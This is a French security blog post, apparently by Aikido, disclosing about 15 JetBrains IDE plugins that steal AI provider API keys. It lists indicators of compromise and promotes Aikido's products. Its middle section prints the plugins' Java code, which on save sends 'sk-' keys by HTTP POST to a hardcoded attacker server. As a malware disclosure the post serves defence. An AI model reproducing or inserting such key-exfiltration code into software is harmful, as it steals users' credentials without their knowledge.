Aikido

Plusieurs extensions pour les IDE de JetBrains ont été prises en flagrant délit de vol de clés d'IA

Écrit par
Ilyas Makari

Nous avons détecté une campagne coordonnée de logiciels malveillants sur la JetBrains Marketplace. Au moins 15 extensions pour IDE, publiées sous sept comptes de fournisseurs différents, présentent le même comportement caché. Chacune d'entre elles exfiltre la clé API du fournisseur d'IA que vous avez enregistrée dans ses paramètres, et à elles toutes, elles ont été installées près de 70 000 fois.

Chaque plugin se présente comme un assistant de programmation basé sur l'IA, s'appuyant sur DeepSeek et d'autres grands modèles linguistiques, et proposant des fonctionnalités de chat, de rédaction de messages de commit, code review, de détection de bogues et de tests unitaires. Ils fonctionnent exactement comme annoncé. Cependant, la clé API du fournisseur d'IA que vous saisissez est détournée vers un serveur contrôlé par le pirate.

Les premières versions sont apparues fin octobre 2025, et de nouvelles continuent d'être publiées en juin 2026. Il est difficile d'en mesurer l'impact réel, car les chiffres de téléchargement peuvent facilement être gonflés par les éditeurs et les fiches sur les boutiques en ligne contiennent également de faux avis cinq étoiles.

La liste des extensions concernées figure à la fin de l'article.

Comment se déroule le vol

Les quinze plugins partagent tous une base de code similaire, qui a été renommée et reconditionnée pour chaque fiche produit. Pour utiliser l’un d’entre eux, il suffit d’ouvrir le panneau de configuration et d’y coller une clé API d’un fournisseur tel qu’OpenAI, SiliconFlow ou DeepSeek. Le plugin a besoin de cette clé pour appeler le modèle en votre nom ; sa communication relève donc d’une simple formalité.

Dès que vous cliquez sur « Appliquer », le gestionnaire de paramètres enregistre votre clé et la transmet également au pirate à l'aide du save() méthode. L'appel se déclenche immédiatement dès la saisie d'une touche, sans invite, sans écran de consentement et sans aucune mention dans l'interface utilisateur.

// runs inside the settings apply() handler, the instant you save your key
public static void save(String key) {
    if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {
        SoftwareDto dto = new SoftwareDto();
        dto.setApiKey(key);          // your provider secret
        BaseUtil.request("key", dto); // shipped off to the attacker server
    }
}


// the network call that leaves your machine
URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");
byte[] input = new Gson().toJson(vo).getBytes(StandardCharsets.UTF_8); // vo holds your apiKey

La destination est un serveur codé en dur à l'adresse 39.107.60[.]51 accessible via HTTP en clair, avec une authentification par jeton statique codé en dur dans le plugin. Votre clé est envoyée en clair à une adresse qui n'a aucun lien avec un fournisseur d'IA légitime.

Les plugins proposent également une formule payante. Une fois que l'utilisateur a versé une petite somme via la page de dons intégrée au plugin, le serveur renvoie une clé API au client, et le plugin commence à utiliser cette clé pour ses appels au modèle à la place de la vôtre, ce qui est étrange, car aucun opérateur sérieux ne remettrait simplement à un utilisateur une clé fonctionnelle et sans restriction pour un fournisseur d'IA payant.

WebResult webResult = BaseUtil.request("check", vo);
if (webResult.isSuccess()) {
    key = data.getApiKey();  // a key handed back by the attacker server
}


// the plugin always prefers the server supplied key
public static String getKey() {
    return StringUtils.defaultIfBlank(BaseState.key, Value.getKey());
}

Une hypothèse possible est qu’un premier groupe de victimes copie-colle ses propres clés, que le serveur récupère. Un deuxième groupe paie l’opérateur et reçoit en échange une clé fonctionnelle. Les clés remises aux utilisateurs payants pourraient bien être celles volées à tous les autres, transformant ainsi la campagne en un service qui revend les accès API volés à d’autres personnes. L’opérateur encaisse de l’argent d’un côté et récupère des identifiants gratuits de l’autre, tandis que les véritables propriétaires des clés font les frais de l’opération.

Pourquoi les pirates continuent-ils de cibler les environnements de développement intégrés (IDE) ?

Les écosystèmes de plugins d’éditeurs sont devenus une cible fréquente attaques de la chaîne d’approvisionnement, avec des campagnes en cours telles que GlassWorm qui visent VS Code. Les machines des développeurs constituent une cible de grande valeur, et l’IDE en est le cœur. Il contient du code source, cloud , des clés de signature et, désormais, les clés API de services d’IA payants qui peuvent être revendues ou utilisées pour de la puissance de calcul. Un plugin s’exécute hors sandbox au sein même de l’IDE, c’est-à-dire dans un outil auquel les utilisateurs font confiance et qu’ils laissent ouvert toute la journée, ce qui en fait une cachette idéale pour du code qui ne se manifeste que de manière malveillante en arrière-plan. 

Les plugins JetBrains sont certes soumis à un processus de vérification manuelle avant leur mise en ligne sur la boutique, mais un petit bout de code malveillant dissimulé au sein d’un plugin par ailleurs fonctionnel peut tout de même passer entre les mailles du filet. Traitez un plugin comme vous traiteriez n’importe quelle dépendance s’exécutant avec vos privilèges, et faites preuve de prudence lorsque vous collez des secrets à durée de vie longue dans des outils que vous n’avez pas vérifiés.

Comment Aikido détecte cela

Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.

Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.

Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.

Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.

Indicateurs de compromission

Indicateurs de réseau

  • Adresse IP du serveur C2 : 39.107.60[.]51

Plugins concernés (nom et identifiant du plugin)

  • Test Junit DeepSeek (org.sm.yms.toolkit) – 1 121 téléchargements, publié le 31 octobre 2025
  • Commit Git DeepSeek (com.json.simple.kit) – 1 894 téléchargements, publié le 01/11/2025
  • DeepSeek FindBugs (org.bug.find.tools) – 1 485 téléchargements, publié le 09/11/2025
  • DeepSeek AI Chat (org.translate.ai.simple) – 1 317 téléchargements, publié le 23 novembre 2025
  • DeepSeek Dev AI (com.yy.test.ai.simple) – 740 téléchargements, sortie le 30 novembre 2025
  • Programmation DeepSeek AI (com.dev.ai.toolkit) – 450 téléchargements, sortie le 06/12/2025
  • AI FindBugs (com.json.view.simple) – 623 téléchargements, publié le 14 décembre 2025
  • AI Git Committer (com.my.git.ai.kit) – 301 téléchargements, publié le 10 janvier 2026
  • Avis sur AI Coder (org.check.ai.ds) – 735 téléchargements, publié le 11 janvier 2026
  • DeepSeek Coder AI (com.review.tool.code) – 3 498 téléchargements, publié le 15 janvier 2026
  • Assistant de programmation IA (org.code.assist.dev.tool) – 319 téléchargements, publié le 01/02/2026
  • Code Review DeepSeek Code Reviewcom.coder.ai.dpt) – 278 téléchargements, publié le 18 avril 2026
  • Assistant IA CodeGPT (com.my.code.tools) – 25 571 téléchargements, publié le 09/06/2026
  • DeepSeek AI Assist (ord.cp.code.ai.kit) – 27 727 téléchargements, publié le 10 juin 2026
  • Outil de programmation simple (com.dp.git.ai.tool) – 3 931 téléchargements, aucune version en ligne

Comptes fournisseurs

  • CodePilot (mycode)
  • StackSmith (misshewei)
  • CodeCrafter (keteme)
  • CodeWeaver (simpledev)
  • JetCode (bleu ciel)
  • DailyCode (dialycode)
  • ZenCoder (947cb4c8-5db1-4cf0-8182-0aae7c433bb3)
Partager :

https://www.aikido.dev/blog/multiple-jetbrains-ide-plugins-caught-stealing-ai-keys

4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.